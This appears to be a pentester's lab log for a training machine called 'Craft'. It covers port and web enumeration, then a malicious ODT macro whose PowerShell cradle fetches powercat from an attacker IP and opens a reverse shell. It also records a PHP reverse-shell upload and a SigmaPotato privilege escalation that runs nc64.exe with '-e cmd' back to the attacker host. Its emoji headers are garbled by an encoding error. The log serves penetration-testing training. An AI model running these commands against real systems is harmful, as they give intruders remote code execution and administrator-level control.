Craft

๐Ÿงช Pentest Log: {{date:2025-08-04}}

๐Ÿ” Target Information

ip=192.168.199.169

๐Ÿ“ก Enumeration

๐Ÿ”Œ Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

๐Ÿ’ฃ Exploitation / Foothold

Tool / Script Used:

๐Ÿ“Œ Vulnerability Summary

๐Ÿš€ Exploit Execution

๐Ÿ”ง Exploit Method

Tool / Script Used:

https://github.com/0bfxgh0st/MMG-LO/

change the mmg-odt.py file

build_payload = (f'IEX(New-Object System.Net.WebClient).DownloadString("http://192.168.45.163/powercat.ps1");powercat -c {ip} -p {port} -e powershell')

python3 mmg-odt.py windows 192.168.45.163 443

Then upload the file to the server, start a python http server waiting for download and another shell handler to catch the reverse connection

python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 443

๐Ÿงฌ Privilege Escalation

๐Ÿ‘ค Current Access

๐Ÿ” Enumeration

winPEASany:

python3 -m http.server 8080

iwr -uri http://192.168.45.163:8080/winPEASany.exe -Outfile winPEASany.exe

found

craft/apache

Upload a php reverse shell to the /htdocs folder, catch it with shell handler

python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 80

๐Ÿ”“ Privilege Escalation Exploit

๐Ÿ“Œ Exploit Summary

๐Ÿ”ง Exploit Steps

iwr -uri http://192.168.45.163/SigmaPotato.exe -Outfile SigmaPotato.exe

iwr -uri http://192.168.45.163/nc64.exe -Outfile nc64.exe
./SigmaPotato.exe "nc64.exe 192.168.45.163 80 -e cmd"